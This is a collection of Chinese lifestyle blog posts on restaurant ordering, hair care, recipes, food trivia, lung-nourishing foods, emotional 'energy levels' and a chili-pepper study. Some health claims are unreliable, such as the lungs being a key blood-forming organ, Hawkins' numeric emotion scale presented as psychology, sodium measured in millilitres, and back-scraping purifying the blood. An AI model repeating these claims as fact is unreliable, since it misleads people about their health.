中国烹饪大师、中国烹饪协会名厨专业委员会委员、北京烹饪协会副秘书长石万荣表示:说现在餐馆里的滋补汤九成九都是假的,一点儿也不夸张。

别看菜单上写着天麻、当归、乳鸽、甲鱼等补品,再配上少则58元、68元,多则几百元的高价,里面却基本没营养。

而且,通常餐厅里的汤,每100毫升里就含有1—2克盐。两碗汤下肚,就可能吃下了5克盐。排骨汤、鸡汤等肉类的汤,含有大量的脂肪和胆固醇。

如果一定要喝,最好选在饭前,点豆腐汤、西红柿鸡蛋汤等家常汤,若是宴请,可以点银耳羹等,这样养生且健康。

2.主食尽量提前上

在饭桌上,“凉菜—热菜—汤—主食”的上菜顺序似乎成了固定模式,不少人直到酒足菜饱时才想起来要点主食。这样会使人在最饥饿、食欲最强的时候吃进去大量动物性食品。所以早点吃主食,既能减轻胃肠的负担,还能保护血脂,维持营养平衡。

如果喝酒的话,可在点菜时用其他淀粉类食物代替主食,比如点些含有荞麦粉、莜面等粗粮的凉菜,含有马铃薯、芋头或者搭配了荷叶饼、玉米饼等主食的菜肴。

3.清淡的菜原料更新鲜

很多人到饭店愿意点“下饭”的重口味菜,有时选对了食材却忽略了做法。

其实,一桌有一两个浓味菜肴即可,其余应搭配口感清爽的菜,这样不至于令味蕾过分疲惫。而且浓味烹调往往会遮盖原料的不新鲜气味和较为低劣的质感。

所以,吃鱼最好选择清蒸,蔬菜选择凉拌或清炒,肉类选择清炖,海鲜选择白灼。

4.点菜不要太好“色”

按常理来说,从后厨端出的肉菜,颜色应当并不漂亮。炒牛肉丝就是褐色的,炒猪里脊肉丝就该是灰白色的,即便用酱油把肉染成红色,也只能是红褐的酱色。

而餐馆在炒肉菜前,会对肉制品“润色”,使用亚硝酸盐这种发色剂,这样炒出来的肉质鲜嫩,颜色也好看。所以那些看起来过于鲜艳的菜,还是少点为妙。

5. 凉菜多选些素的


为更好的荤素搭配,点凉菜是最好点素的,图为凉拌海带丝。 

很多人习惯性地点酱牛肉、千层脆耳等凉菜开胃。其实,选一些清爽的素食凉菜,能平衡主菜油脂过多和蛋白质过剩的问题。

像生拌、蘸酱类蔬菜,以及淀粉含量高的凉菜如蕨根粉、山药等都是不错的选择。这些清爽的食物可以保证一餐中的膳食纤维和钾、镁元素的摄入,还能避免蛋白质作为能量被浪费。

6.浏览菜单时,多留意这四种做法:蒸、煮、炖、拌

浏览菜单时,多留意四个做法:蒸、煮、炖、拌。这样的烹调方式不但能保住营养,脂肪含量和卡路里也低很多。

尽量少点含有油炸、香煎或干锅等字样的菜。特别是干煸菜,传统方法是用少量的油长时间煸制,但现在有的餐馆为了省事,直接用大量油来炸,不但使维生素损失殆尽,蛋白质、淀粉、脂肪等营养素也会被破坏。

7. 一人一菜

南北菜码区别很大,但一般来说,四个人吃饭,点3热1凉就刚好;五人到七人,点5热1凉;八人以上,按照人数减2的数量点,就应该足够了。对于不熟悉的菜肴,在点菜时应先问清菜量情况,避免浪费。

8.越家常 性价比越低

很多中老年人下馆子,喜欢点西红柿炒鸡蛋、醋熘土豆丝等家常菜,看似比较省钱,而实际上这些菜利润空间最大。比如餐馆里12元一盘的醋熘土豆丝,大概需要用两个中等大小的土豆,分量大概有1斤多,而目前土豆市价为2元/斤左右,算上食用油和调味料,一盘土豆丝的成本为2.5元左右。所以在餐馆选择中等价位的菜,性价比是最高的。

9.扫视“左邻右舍”

一进饭店,很多人急于找位子或翻菜单点菜。其实,此时最该做的是扫视左邻右舍的桌面,观察一下别人点了什么、菜量大小、成色以及进食的程度,然后拣“出镜率”比较高的菜式点,其性价比一定差不了,尤其对进一家陌生的餐厅吃饭很有帮助。此外,如果饭店人很多,且大多数桌子上的菜还没上齐,就说明上菜速度不会很快。此时,你最好点一些冷菜,少点需要长时间烹制的菜肴,这样可避免长时间等待。

10.最合算的饮料是瓶装的

有没有发现,饭店里经常会推荐听装的饮料、酒水?在餐馆里,点瓶装饮料是性价比相对较高,同时,可以点零热量的茶水。

2020-12-14 / by / in , ,
几天洗一次头发最健康?原来以前都洗错了!(视频)

健康/生活/洗头

有朋友问我几天洗一次头最好?头发吹干还需要注意哪些事项?这个问题还是看看医师怎么说。

首先做下发质健康测试,看看你的头发是否健康:

1、光泽度测试

操作方法:中分清洁后的头发,梳平梳顺。在正对面放一面镜子,位置以自己能够清楚看到头顶为准。使灯光从头顶射下来,形成一个皇冠似的圆晕。

推断:圆晕越亮​​,头发光泽度越好。

2、韧度测试

操作方法:在洗头之前,剪下一束大约一寸长的头发,再将其置入水中。

推断:发质的好坏,在30秒钟内就能看出来。发质差的头发容易吸水下沉得快。如果你的头发直线下沉,那么你该注意头发的养护了。

3、顺滑测试

操作方法:用梳子从上到下梳理头发。握住一把头发的末梢,用力搓揉它们,然后看其末梢处是否开岔和断裂。

推断:如果梳子总在相同的地方被阻滞,那这个地方的头发就是最脆弱、最干燥的。头发末梢的开岔断裂是导致头发脆弱的开始,必须及时加以控制、治疗。

那么,几天洗一次头发最健康呢?


秀发

中医建议:

1、最好每星期洗三至四次头。天天洗头非但不能保护头发,还有可能对头发造成伤害。因为洗头过勤会把皮脂腺分泌的油脂彻底洗掉,使头皮和头发失去了天然的保护膜,反而对头发的健康不利。

2、在户外工作时间长的人和脑力工作者,可以适当增加洗头次数,除此之外还要经常梳理,促进血液循环。

一般来说,临睡前最好不要洗头,如果要洗,就用干毛巾擦干,然后再用风筒把头发吹干后才睡,这样,就不会感冒了。头发未干的情况下睡着,容易感冒。

西医建议:

1、夏季最好隔天洗一次,这样比较科学。

2、有些做特殊工作的人,由于卫生要求,还是要坚持每天洗头。但无论什么人,清洗头部的时候都要注意洗发液的选择,避免使用碱性过大的洗发液,最好加上护发素。

将纠结的头发梳开,可从发尾处先慢慢梳开,再从发根部从头梳至尾,甚至可以将头朝下,从脑勺部往前梳开,让发丝顺畅、增进血液循环,执行清洁工作才能事半功倍!

洗发就如同护肤一般,必须从基本的清洁工作做起,完整的清洁工作才能除去阻碍吸收养分的物质,后续的滋养动作才能有效吸收。

首先,将洗发水置于掌心,搓揉起泡后才抹于发上,由发根洗至发尾,并让头发成自然垂下,使用指腹来轻推按摩头皮各处,来回两三次,接下来以流动的温和清水徐徐冲洗,勿使用太烫的热水,会导致头皮过度干燥。

护发素有修缮的功能,能修补受损发质,隔离紫外线的入侵,每周别超过三次即可,由头皮至发梢,揉进头发各部位,再使用清水冲洗干净。洗净后,可用宽齿梳从头梳至发尾,并用毛巾包裹头部,让护发素的保湿成分得以完全发挥。


洗头

小贴士:洗完头发后,使用吹风机吹头发的详细步骤技巧

1、用毛巾把头发大部分水分吸干,至头发不滴水为止。这个步骤目的是保护头发,太湿的头发直接用吹风机吹会使头发受伤而且容易开叉。

2、先不要分界和刘海(如果有的话),用吹风机从头顶往下吹,吹干头皮及发根,时间大概为3-5分钟。

3、分出界限跟刘海,这时头顶头发会较为蓬松,然后开始吹头发中部及发根。

4、全部头发都吹至70%干,将手插进头发中间使上部头发隆起,吹风机向中间吹风,达到上部头发蓬松的效果,然后顺刘海生长方向吹平吹顺刘海,最后整体头发定型,注意直发与卷发发尾的塑造。

吹发注意事项:

1、直发可以梳子做辅助将头发吹直。

2、卷发用手卷出想要的发尾形状再吹发定型。

3、吹完头发后可适当喷些定型水或营养水补充水分而且定型。

2020-12-13 / by / in
心理学家分析 对人体最有害的情绪 竟然不是愤怒与悲伤

健康/身体/情绪/心理/生理/情感/ 能量等级/情感 人体影响

在现实生活中人的各种情感无时不在,情感其中包括道德感和价值感 ,现在来看看著名心理学家David R. Hawkins对情感的分析。

1

各类情感对人体造成的影响

著名心理学家David R. Hawkins分析了各类情感的能量等级,从最负面、伤身的情感,到最正面、滋润的情感,所有情感里面,排最低的不是愤怒、悲伤、恐惧;排最高的不是骄傲、勇气、真爱,那会是什么?按:能量等级从0到1000;200以下为负面,200以上为正面。

1)

Shame 羞愧:20

没想到,最伤身的,竟然是羞愧!怪不得古今中外经常有人羞愧而死……羞愧的能量级几近死亡,它犹如意识的自杀行为。在羞愧的状况下,我们恨不得找个地缝钻进去,或者是希望自己能够隐身。

2)

Guilt 内疚:30

内疚感以多种方式呈现,比如懊悔、自责等,以及所有的受害情节都是。无意识的内疚感会导致身心的疾病,以及带来意外的自杀行为。它也经常表现为频繁的愤怒和疲乏。

3)

Apathy 冷淡:50

这个能量级表现为贫穷、失望和无助感。世界与未来都看起来没有希望。冷漠意味着无助,让人成为生活中各方面的受害者。缺乏的不止是资源,他们还缺乏运气。除非有外在的帮护者提携,否则很可能会潦倒致死。

4)

Grief 悲伤:75

这是悲伤、失落和依赖性的能量级。在这个能量级的人,过的是懊丧和消沉的生活。这种生活充满了对过去的懊悔、自责和悲恸。在悲伤中的人,看这个世界都是灰黑色的。


悲伤

5)

Fear 恐惧:100

从这个能量级来看世界,到处充满了危险、陷害和威胁。一旦人们开始关注恐惧,就真的会有数不尽的让人不安的事来临。之后会形成强迫性的恐惧,这会妨害个性的成长,最后导致压抑。因为它是让能量流向恐惧,这种压抑性的行为不能提升到更高的层次。

6)

Desire 欲望:125

欲望让我们耗费大量的努力去达成我们的目标,去取得我们的回报。这也是一个易上瘾的能级,不知道什么时候,一个欲望会强大到比生命本身还重要。欲望意味着累积和贪婪。愿望可以帮助我们走上有成就的道路。但是欲望却能成为到达比知晓更高层次的跳板。

7)

Anger:愤怒150

如果有人能跳出冷漠和内疚的怪圈,并摆脱恐惧的控制,他就开始有欲望了,而欲望则带来挫折感,接着引发愤怒。愤怒常常表现为怨恨和复仇心里,它是易变且危险的。愤怒来自未能满足的欲望,来自比之更低的能量级。挫败感来自于放大了欲望的重要性。愤怒很容易就导致憎恨,这会逐渐侵蚀一个人的心灵。

8)

Pride:骄傲175

比起其他的较低能量级,人们会觉得这个能量级是积极的。而事实上,骄傲只是相比其他更低的能量级让人感觉稍好一些而已。骄傲是具有防御性和易受攻击性的,因为它是建立在外界条件下的感受。一旦条件不具备,就很容易跌入更低的能量级。自我的膨胀是骄傲自大的助推剂,而自我常常是易受攻击的。因此骄傲的演化趋势是傲慢和否认。而这些都是抵制成长的。

9)

Courage:勇气200

到来200这个能量级,动力才显端倪。这是一个重要的关节点。勇气是拓展自我、获得成就、坚忍不拔和果断决策的根基。在比之更低的能量级,世界看起来是无助的、失望的、挫折的、恐怖的。但是来到勇气的能级,生活看起来就是激动人心的、充满挑战的、新鲜有趣的。在这个能动性的能级,人们有能力去把握生活中的机会。因此个人成长和接受教育是可行的途径。那些能够打击能量级低于200的人的障碍,对进化到200能级的人来说,不过是小菜一碟。

这个能级的人们,总是能尽数回馈足够多的能量给这个世界。而低于这个能级的人们则是不断地从社会中汲取能量,没有回馈。

10)

Neutrality:淡定250

到达这个能级的能量都变得很活跃了。低于250的能级,意识是趋向于分裂和刚硬性的。淡定的能级则是灵活和无分别性地看待现实中的问题。

到这个能级,意味着对结果的超然,一个人不会再恐惧挫败和恐惧。这是一个有安全感的能级。来到这个能级的人们,都是很容易与之相处的,而且让人感到温馨可靠。因为他们无意于争端、竞争和犯罪。这样的人总是镇定从容。他们不会去强迫别人做什么。

11)

Willingness:主动310

这个意识层次可以看做是进入更高层次的一道门。在淡定层次的人,会如实地完成工作任务。但是在主动层次的人,通常会出色地完成任务,并极力获得成功。这个能级的人的成长是迅速的,他们是为人类进步而预备的人选。

低于200能级的人,他们的思想是封闭的,但是能级为310的人们则是全然敞开的。这个能级的人,通常是真诚而友善的,也易于取得社交和经济上的成功。他们总能有助于人,并且对社会的进步做出贡献来。

他们也乐意面对内在的状况,也不存在较大的学习障碍。鉴于他们具有从逆境中崛起并学到经验的能力,他们都能够自我调整。由于已经释放了骄傲,他们能够看到自己的不足,并学习别人的优点。


主动

12)

Acceptance:宽容350

在这个能级,一个巨大的转变会发生,那就是了解到自己才是自己命运的主宰,自己才是自己生活的创造者。低于200能级的人是没有力量的,通常视自己为受害者,完全受生活所左右。这个看法的根源是,认为一个人的幸福和苦难来自某个“外在”的东西。

在宽容的能级,没有什么“外在”能让一个人快乐或悲伤,爱也不是谁能给或夺走的,这些都来自内在。宽容意味着让生活如它本来的样子,并不刻意去塑造成一个特定的模式。

在这个能级的人不会对判断对错感兴趣,相反的,对如何解决困难他们则乐于参与。他们更在意长期目标,良好的自律和自控是他们显着的特点。

13)

Reason:明智400

超越了感情化的较低能量级,就进入有理智和智能的阶段。这是科学、医学以及概念化和理解能力形成的能级。知识和教育在这里成为资历。这是诺贝尔奖金获得者、大政治家和高级法庭审判长的能级。爱因斯坦、弗洛伊德,以及很多其他历史上的思想家都是这个能级。

这个能级的人的缺点是,过于关注对符号和符号所代表的意义的区分。明智并不能让人走向真理。它只是能制造出大量的信息和文档,但是缺乏解决数据和结果差异性的能力。明智本身是通往更高能级的一个最大障碍。在我们的社会中能超越这个能级的人凤毛麟角。

14)

Love:爱500

这里的爱并非通常意义上各种媒体所描述的爱。通常意义上的爱,很容易就带上愤怒和依赖的面具。这种爱一旦受到挫折,立马就能转变成愤恨。引发愤恨的爱是来源于骄傲而不是真的爱。

这个500能级的爱是无条件的爱,是不变的爱,是永久性的爱。这种爱不会动摇,它不是来自外界因素。爱是存在的基本状态。爱是宽容、滋养和维持这个世界的。

它不是知性的爱,不是来自头脑的爱,它是发自心灵的爱。爱总是聚焦在生活美好的那一面上,并且增大积极的经验。这是一个真正幸福的能级。世界上只有0.4%的人曾经达到这个意识进化的层次。

15)

Joy:喜悦540

当爱变得越来越无限的时候,它开始发展成为内在的喜悦。这是在每一个当下,从内在而非外在升起的喜悦。 540能级也是拥有治疗和精神独立的能级。由此往上,就是很多圣人和高级修行者以及治疗师的能级。

这个能级的人的特点是,他们具有巨大的耐性,以及对一再显现的困境具有持久的乐观态度,以及慈悲。到达这个能级的人对其他人有显着的影响。他们持久性的关注,会带来爱和平静。

在能级超过500的人看来,这个世界充满了闪亮的美丽和完美的创造。一切都毫不费力地同时发生着。在他们看来是稀松平常的作为,却会被平常人当成是奇迹来看待。


喜悦

16)

Peace:平和600

这个能量层级和所谓的卓越、自我实现有关。它非常稀有,一千万人当中才有一个人能够达到。

一旦达到这个能级,内与外的区分就消失了,感官被关闭了。能级在600及其以上的人的感知如同慢镜头一样,时空悬停了——没有什么是固定的了,所有的一切都生机勃勃并光芒四射。

虽然在其他人眼里这个世界还是老样子,但是在这人眼里世界却是一个和宇宙源头进化一起协同舞蹈的不断浮动进化的流转。这是一种非同寻常、无法言语的现象,所以头脑保持长久的沉默,不再分析判断。观察者和被观察者成为同一个人,观照者消融在观照中,成为观照本身。

能级为600到700之间的艺术作品、音乐和建筑能临时性地把我们带到永恒的状态中。

亲爱的读者朋友们,目前你的情绪处于哪种能量级状态?羞愧?骄傲?平和?喜怒哀乐虽然是每个人都会经历的情绪状态,但长期处于某种不良心态,对人体造成的伤害都是不可小觑的。因此,我们应该努力使自己保持平和的心态。如果有一天有一时刻,情绪不好带来满满负能量时,我们该如何调节呢?

2

调整情绪变化可以治病

中医认为情绪过度变化可以引起疾病,但可以利用情志相胜理论来治疗疾病。中医学很早就应用了心理疗法,称之为“意疗”。心理学治疗尤其对于精神方面的疾病是必不可少的,并往往能收到比药物治疗更好的效果。古代医家对此有许多论述。如《东医宝鉴》中说:“欲治其疾,先治其心,必正其心,乃资于道。使病者尽去心中疑虑思想,一切妄念,一切不平,一切入我悔悟……顿然解释,则心地自然清净,疾病自然安痊,能如是则药未到口,病已忘矣”。明《本草经疏》中说“以识遣识,以理遣情,此即心病还将心药医之谓也。吴师机《理瀹骈文》中说:“情欲之感,非药能愈,七情之病,当以情治”。中医学历来重视心理因素在治疗中的重要作用,并创立和积累了许多心理治疗的科学方法。

1)

情志相胜疗法

《素问·阴阳应象大论》与《素问·五运行大论》都指出“怒伤肝,悲胜怒”;“喜伤心,恐胜喜”;“思伤脾,怒胜思” ;“忧伤肺,喜胜忧”;“恐伤肾,思胜恐”。这种纠正情志异常的方法,是中医精神治疗的原则,也就是“情志相胜”的基本精神。就是有意识地采用另一种情志活动去控制或调节因某种刺激而引起的疾病,从而达到治愈疾病的目的。

2)

移情易性疗法

移情易性,目的是分散病人对疾病的注意力,把注意力转移到其他地方,或者改变其周围环境,避开不良刺激所在,使其从某种情感转移到另外的人或事上,或者通过谈心、学习使其改变情操,这就是所谓移情易性。 《临症指南医案》中说:“情志之郁,由于隐性曲意不伸……盖郁证全在病者能移情易性”。具体方法则因人因病而宜,分别采用不同的方法,如用唱歌、书法、绘画等陶冶情操,从而达到治愈疾病的目的。

3)

顺情从欲疗法

《素问·移精变气论》指出:“系之病者,数问其情,以从其意”。这也是心理疗法之一。在人类社会中,衣食住行等是必要的生活物质需求,而这些必要的生活物质愿望得不到满足,从而导致精神情志的改变,在治疗中仅靠说服开导,移情易性则达不到治疗目的,还需得到社会必要的支持,朱丹溪曾说:“传云:饮食男女,人之大欲从焉,所关甚大,饮食之欲,于身尤切”。在当前优越的社会制度下,“顺情从欲”这条治则,社会为我们创造了可行性条件。如天灾人祸造成情志失常,通过集体的关怀,社会的救济等,这都是顺情从欲的治疗措施。

4)

语言诱导疗法

《素问·移精变气论》说:“闭户塞牖,系之病者,数问其情,以从其意,得神者昌,失神者亡”。这就是说,要关好门窗,首先取得病人的信任,对病人以同情的态度,向病人详细询问病情,利用劝说开导,使病人如实地吐出真情,将痛苦诉说出来,也是一种“心理疏导”方法,有利于病情的治疗,如若能调治其神,使患者面色光华,脉息和平,神气旺盛,则预后良好,否则,患者面色无华,脉不应时,神气丧失,对治愈疾病缺乏信心,则预后不良。


平和

2020-12-13 / by / in
简单超级好吃的素麻辣豆腐(视频)

麻辣豆腐/豆腐/素麻辣豆腐

豆腐是大众最常见的普通食物,但是它的做法有好多种,它的营养价值也是公认的,今天就和大家介绍以豆腐为主的一道简单又超级好吃的料理素麻辣豆腐 。

材料:

生香菇5朵、杏鲍菇6支、香菇头1碗、猴头菇1碗、金针菇1把、高丽菜半颗、豆皮1碗、豆腐4块、姜少许

调味料:

麻辣酱、酱油各适量

做法:

1.姜切片、生香菇切块、杏鲍菇切滚刀块、金针菇切半、黑木耳切丝,高丽菜用手掰成小片,豆腐切块备用。

2.起油锅,姜和麻辣酱先炒香,再加入适量的水,接着放入所有菇类、豆皮、豆腐、高丽菜烧煮到豆腐入味即可。

*小贴士*

麻辣豆腐视频从10分17秒开始

2020-12-12 / by / in ,
补水牛奶更佳、这些蔬菜自带盐…8个关于食物的冷知识

冷知识/牛奶/补水/蔬菜/补钙/转基因/自带盐分/高热量食物/烤肉/贫血

民以食为天,虽然有些食物你天天吃,但你可能对它们并不了解,今天向大家介绍8个“冷知识”,看看你知道几个

1、水不是最补水的


牛奶

口渴了,喝点水;冬天干燥,喝点水。

喝水补水,是特别平常的一件事儿,但实际上,喝水并不是最补水的。

英国一项研究显示,有四种饮料补水指数远高于水:口服补水溶液、脱脂牛奶、全脂牛奶和橙汁。

实际上,如果液体含有营养成分,如糖、蛋白质、脂肪等,或者含钠、钾这样的电解质,那么胃的排空速率就会变慢,肾脏收到产生尿液的指令会变弱。

这可以帮助我们减缓排尿的需要,水分在体内留存时间更长。

那么,喝牛奶能替代喝水吗?

不建议用牛奶、橙汁等代替喝水哦,除了热量比水高,还容易增加代谢压力。

当然,运动后或特别渴的时候,不妨喝些牛奶哦。

2、吃蔬菜也能补钙


蔬菜

绿叶菜含有丰富的维生素 K、镁、维生素 C 等营养物质,能辅助钙吸收、沉积,影响骨质的质与量。

推荐每天吃蔬菜类300-500克,其中深色蔬菜建议过半。

有哪些蔬菜比较补钙呢?

荠菜含钙量约294mg/百克,相当于牛奶的2.8倍;

芥蓝含钙量约199mg/百克,相当于牛奶的2倍左右;

苋菜含钙量是牛奶的1.5倍多!

所以,要补钙的话,也要多吃点蔬菜哦。

3、这些多色蔬菜不是转基因


番薯

番薯有黄有紫、白菜有绿有紫……

很多人就觉得这些少见的食物就是转基因食品。

其实这些都是天然作物,只是在特定地理条件和育种技术下产生的。

比如,紫薯是杂交培育的;紫白菜是利用传统杂交技术,把紫甘蓝和普通大白菜进行杂交选育而成的。

不管哪种,选自己喜欢吃的就好啦!

4、有些蔬菜自带盐分


芹菜

虽然大部分蔬菜本身是没什么味道的,但是偶些蔬菜却钠含量比较高、自带盐分,比如芹菜、茼蒿等。

每100g芹菜茎大约含有159ml的钠,每100g茼蒿则大约含有161ml钠。

因此,在烹饪这些蔬菜的时候,需要注意少放盐甚至不放盐,高血压、肾脏病患者尤其要谨慎。

除蔬菜外,有些甜品,像面包、饼干、冰淇淋、巧克力、蜜饯等在制作过程中,都会加入不少盐,要少吃。

5、不存在防癌抗癌的食物


大蒜

大蒜、绿茶、秋葵等能防癌抗癌的说法,都是没有经过科学考证的,如果吃某种食物就能一劳永逸、远离癌症,这样医院恐怕要开到菜市场里了……

6、高热量食物更使人开心

很多人心情不好时,就喜欢买买买。炸鸡、烧烤、蛋糕、巧克力……

吃完这些高脂肪、高热量的食物,心情似乎能变得愉悦。

这是为什么呢?

实际上,高热量食物会让身体释放更多多巴胺,多巴胺是种脑内分泌物,它能传递兴奋和开心的信息,可以激发快感、觉醒、镇静等。

所以,不开心了咱就点杯奶茶吧~

但是,请记住:吃多了容易胖!

7、烤肉怎么吃更健康?

烤肉

少吃。

烤肉虽然好吃有味儿,但是容易吃过量不说,还可能产生一些有害物质。

能吃,但偶尔解馋就行。

8、无论哪种贫血,吃阿胶、红枣、红糖都没用

缺铁、缺乏维生素B12和叶酸、重金属(铅)、遗传……

这些常见的贫血病因,吃它们都是没用办法解决的。

2020-12-12 / by / in
千锤百炼的炸油条配方 最适合家庭制作(视频)

油条/炸油条

油条又称馃子,是人们作为早餐喜爱的一种食物,是一种古老的汉族面食。

长条形中空的油炸食品,口感松脆有韧劲,是70年代以前人们的主要早餐之一。油条吃起来又松、又脆、又香,夹杂着淡淡的碱味。现在的早餐品种选择很多,可能觉得油条不过就是一个油炸食品罢了。然而出生在70年代以前的人是吃着油条长大的,无论定居在哪里,仍然爱着这一口。

食材:

中筋面粉 350克, 凉牛奶 250克,泡打粉(Baking powder) 10克,小苏打(Bicarbonate of soda) 3克,盐 6克,油 12克

做法:

1. 将泡打粉和小苏打放入碗中,加入凉牛奶搅拌均匀。

2. 将中筋面粉和盐放入盆中,加入少许油,将混合好的牛奶加入到面粉中,面团揉好后饧面30分钟。

3. 将面分成2块,擀平后,抹少许油后,饧2个小时。然后再次擀平,切成条,并将每2个条叠放在一起。放入油锅之前抻成长条。炸至金黄色后捞出即可。

2020-12-11 / by / in , ,
保养肺等于续命!2食2茶2动作,益气清肺、养肺健肺

罗汉果茶/肺俞穴/按摩鼻子/刮后背/润肺清肠/滋补生津

大家都很清楚肺是人体的呼吸器官,人体重要的造血器官就是肺,所以养肺等于延续生命,做好2食2茶2动作,益气清肺、养肺健肺,有一个非常健康的肺部才能长寿。

1、银耳

银耳

中医养生里五脏对五色,肺脏对应的是白色,白色的银耳就是不错的选择。

银耳有麦冬之润而无其寒,有玉竹之甘而无其腻,为润肺滋阴之要品。 《中华本草》也记载,银耳味甘、淡,性平,无毒,归肺、胃、肾经,有滋补生津、润肺养胃之功效。

现代研究也发现,银耳对老年人慢性支气管炎及肺原性心脏病有显着的疗效。此外,还能提高肝脏解毒功能和起护肝作用。

所以,想要养肺健肺,银耳是一个不错的选择。

2、萝卜


萝卜

荷兰人定萝卜为“国菜”,日本、美国认为它是根茎类蔬菜中的“健康保护神”。明代著名的医学家李时珍对萝卜也极力推崇,主张每餐必食,他在《本草纲目》中提到:萝卜能“大下气、消谷和中、去邪热气。”其性甘平味辛,归肺、脾经,可除疾润肺、解毒生津。

更重要的是,肺泡里有很重要的巨噬细胞,一些有害的细菌、病毒到了肺泡出不来,就会被巨噬细胞吞噬,保护肺的健康,所以如果能增加巨噬细胞的数量或者提高巨噬细胞的活性,也是养肺健肺的重要方法。

而研究发现,萝卜中含有多种酶,能消除亚硝胺的致癌作用,其中的本质素能刺激肌体免疫力,提高巨噬细胞的活性,增强其吞噬杀灭病毒的能力。

所以,想要养肺健肺,真的不要忽视小小的萝卜。

3、柚子


柚子

除了被大众熟知的梨,柚子也是不错的养肺健肺水果。中医认为,柚子味甘酸、性寒,具有理气化痰、润肺清肠、补血健脾等功效,能帮助消化、除痰止渴、理气散结。

4、罗汉果茶


罗汉果茶

中医专家推荐给我们罗汉果养肺,它被称为“护肺神果”。这是因为中医认为,罗汉果,味甘性凉,有清热润肺化痰、生津止咳、滑肠排毒等功效,可用于治疗痰热咳嗽、咽喉肿痛、大便秘结诸症。

一般来说,把用来泡水的罗汉果敲碎后分成几份,取适量放入水杯或水壶,取沸水冲入,数分钟后即可饮用。

5、黄芪茶


黄芪红枣茶

中医认为,黄芪性微温,味甘,最善补气,尤其能补肺虚之气。 《本经逢原》以为黄芪入肺而固表虚自汗。 《得配本草》亦云:肌表之气,补宜黄芪。对肺虚之人体表不固者,共同红枣,煎水代茶,颇为适宜。

6、按摩鼻子


鼻子按摩

中医认为,肺开窍于鼻,肺气上接气道直通于鼻,构成肺系。经常按摩鼻子,即可以调养肺气,还能预防鼻塞、流涕和伤风感冒。

所谓按摩鼻子,就是将两手拇指外侧互相摩擦到有热感后,用拇指外侧沿鼻梁、鼻翼两侧上下摩擦40次,再用指尖点按鼻翼两侧的“迎香穴”20次。

7、刮后背

刮后背

人体的养肺的肺俞穴就在后背上。所以,如果你能坚持刮后背也可以养肺护肺。

此外,刮后背可以使血管扩张,增强淋巴细胞的作用,令体内的废物以及毒素快速排除,从而使全身的血液得到净化,增强了抵抗力。

要提醒的是,如果刮后背时,肺俞穴位置若出现密集的深色痧斑,以及刮拭时有刺痛感或刮拭时有结节,这​​是在提示肺脏气血瘀滞或肺气虚。

2020-12-11 / by / in ,
名厨教做家常菜 小笼粉蒸牛肉(视频)

小龙粉蒸肉/粉蒸肉

小笼粉蒸牛肉是非常好吃的一道料理,今天我们就和桃园知名的饭店主厨李鸿荣一起学做家常菜小笼粉蒸牛肉。

李鸿荣是桃园知名的饭店主厨,曾多次参加全世界中国菜厨技大赛并获奖。今天的这道粉蒸牛肉是一道可以拿得出手的家常宴客料理。李先生常说:无论你的技法多么娴熟,你还必须要有一个心法-厨德,不管你技术多厉害厨德是非常重要的。”

材料:

牛肉 250克,葱姜水 30克,蒸肉粉 35克,淀粉 5克,南瓜 300克,

调料:

生抽 5克,糖 1.5汤匙,花雕酒 12克,辣椒面 3克,花椒粉 0.5茶匙,五香粉 0.5茶匙,郫县豆瓣酱 30克,红油 30克,水 50克,香油 8克,

做法:

1. 腌制牛肉:牛肉切片放入碗中,加入葱姜水,生抽,糖,料酒 12克,辣椒面,花椒粉,五香粉,郫县豆瓣酱,红油,水,蒸肉粉,淀粉,香油搅拌均匀。

2. 成菜:将南瓜切成小滚刀块,然后码放在笼屉里面,将腌制好的肉放在上面,上锅蒸10分钟,取出后撒少许葱碎,香菜即可。

2020-12-10 / by / in ,
最新研究:辣椒有助长寿 降低癌症机率

辣椒/辣椒素/长寿/心脏健康/抗炎/抗氧化/抗癌/调节血糖

辣椒,别名:牛角椒、长辣椒、菜椒、灯笼椒,是世界上栽培范围最广大的辛香料,辣椒原产于中南美洲热带地区。早于公元前7500年已用作烹调食品。


辣椒

1493年,哥伦布第二次横渡美洲时,船上的医生Diego Álvarez Chanca首次从墨西哥把辣椒带入西班牙,并在1494年论说它的药用效果。此时西班牙已将墨西哥收归为殖民地,辣椒也随着西班牙的贸易船队流入其亚洲的殖民地菲律宾,辣椒再流入中国、印度和日韩等地。

你爱吃辣椒吗? 一项发表于11月线上美国心脏协会科学会议的研究指出,辣椒有助长寿、增强心脏健康以及降低癌症机率。看来,要多吃些辣椒了。

据《草根影响力新视野》编译报导,这项新的辣椒研究分析了来自五个具领导地位之全球健康数据库的4,729多项先前研究,其中包括来自美国、中国、伊朗和意大利等超过57万人的健康和饮食记录。研究人员发现,与很少或从未吃辣椒的人相比,吃辣椒的人死于心脏病的风险降低了26%,死于癌症的风险降低了23%,而死于任何原因的风险亦降低了25%。


辣椒

美国克利夫兰诊所心脏、血管和胸腔研究所心脏病专家Bo Xu博士表示,研究人员惊讶地发现,在这些先前发表的研究中,经常食用辣椒竟与降低所有病因、心血管疾病和癌症死亡率的总体风险有关,而这个研究结论突显出饮食因素在整体健康中有着至关重要的影响。然而,研究人员只是试图找到辣椒与死亡率之间的联系,但没有寻找背后的确切原因。Bo Xu博士说:「不可能有结论地说,多吃辣椒可以延长寿命并减少死亡,特别是由于心血管因素或癌症引起的死亡。这需要更多的研究,尤其是来自随机对照研究的证据来确认这些初步发现。」

先前的研究发现,辣椒具有抗炎、抗氧化、抗癌和调节血糖的作用,这些益处主要来自于使辣椒变得辛辣的辣椒素。除此之外,以下是吃辣椒额外附加的健康益处。


辣椒具有调节血糖的作用

增强免疫系统

包括辣椒在内的红辣椒都是令人难以置信的维生素A来源,有助强大免疫系统以及眼睛健康。辣椒中的维生素C也很高,同样有助于免疫功能以及伤口愈合,1/4杯切碎的辣椒即提供一天所需的维生素C含量。

防止自由基的侵害

除了维生素A,包括类黄酮(如β-胡萝卜素、叶黄素、玉米黄质和隐黄质)等强大抗氧化剂都在辣椒里,有助保护人体免受导致细胞损伤之自由基的影响。

降低坏胆固醇值

辣椒可以降低血液中的低密度脂蛋白(LDL)和三酸甘油酯,增加高密度脂蛋白(HDL)以及防止凝血,这些都有助预防心脏病和中风。2017年发表在《公共科学图书馆:综合》(PLoS One)上的研究发现食用红辣椒可使心脏病和中风导致的死亡率降低13%。


辣椒可以降低血液中的坏胆固醇值 

提升新陈代谢

辣椒素可能会稍微增加人体新陈代谢率,有助燃烧更多的卡路里以及增加燃烧的脂肪量。

减少肠道炎症

当辣椒素附着在消化道中的受体上时,就会产生一种叫做anandamide的化学物质,可以减少肠道炎症。

